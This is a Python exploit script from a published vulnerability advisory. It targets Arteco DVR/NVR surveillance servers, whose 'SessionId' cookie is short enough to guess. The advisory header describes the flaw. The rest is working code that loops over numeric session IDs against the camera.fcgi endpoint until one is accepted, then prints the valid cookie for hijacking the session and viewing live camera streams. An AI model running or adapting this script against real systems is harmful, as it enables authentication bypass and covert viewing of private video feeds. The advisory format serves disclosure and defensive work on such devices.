#!/usr/bin/env python3 # # # Arteco Web Client DVR/NVR 'SessionId' Cookie Brute Force Session Hijacking Exploit # # # Vendor: Arteco S.U.R.L. # Product web page: https://www.arteco-global.com # Affected version: n/a # # Summary: Arteco DVR/NVR is a mountable industrial surveillance server # ideal for those who need to manage IP video surveillance designed for # medium to large installations that require high performance and reliability. # Arteco can handle IP video sources from all major international manufacturers # and is compatible with ONVIF and RTSP devices. # # Desc: The Session ID 'SessionId' is of an insufficient length and can be # exploited by brute force, which may allow a remote attacker to obtain a # valid session, bypass authentication and disclose the live camera stream. # # Tested on: Microsoft Windows 10 Enterprise # Apache/2.4.39 (Win64) OpenSSL/1.0.2s # Apache/2.2.29 (Win32) mod_fastcgi/2.4.6 mod_ssl/2.2.29 OpenSSL/1.0.1m # Arteco-Server # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2020-5613 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5613.php # # # 16.11.2020 # import sys,requests class BrutusCookius: def __init__(self): self.validate=None self.cookies=None# self.params=None## self.stream=None## self.path=None#### self.cgi=None##### self.ip=None###### self.op=None###### def check(self): print('Usage: ./arteco.py IP') exit(9) def bro(self): if len(sys.argv) !=2: self.check() else: self.ip=sys.argv[1] print('[+] Target IP: '+self.ip) if not 'http' in self.ip: self.ip='http://{}'.format(self.ip) def force(self): # Check the Set-Cookie on the target and determine the length (varies per model/version) # Cookie: SessionId=15800 - range(10000,100000) # Cookie: SessionId=8350 - range(1000,10000) # Cookie: SessionId=502 - range(100,1000) self.op = range(17129,17149) # Tweak for j in self.op: session=requests.session() self.cookies=dict(SessionId=str(j)) sys.stdout.write('[+] Trying ID: '+str(j)) self.path='/arteco-mobile/' self.cgi='camera.fcgi' self.params='?serverId=1&camera=2&mode=1&szx=5&szy=5&qty=15&fps=1' self.validate=session.get(self.ip+self.path+self.cgi+self.params, cookies=self.cookies).headers if not 'artecomobile' in str(self.validate): print(' - NOPE.') else: print(' - BINGO!!!') print('[+] Active session found: '+str(j)) print('[+] Use the cookie: SessionId='+str(j)) exit(9) print('[!] Sorry, no valid session found.') def main(self): self.bro() self.force() if __name__ == '__main__': BrutusCookius().main()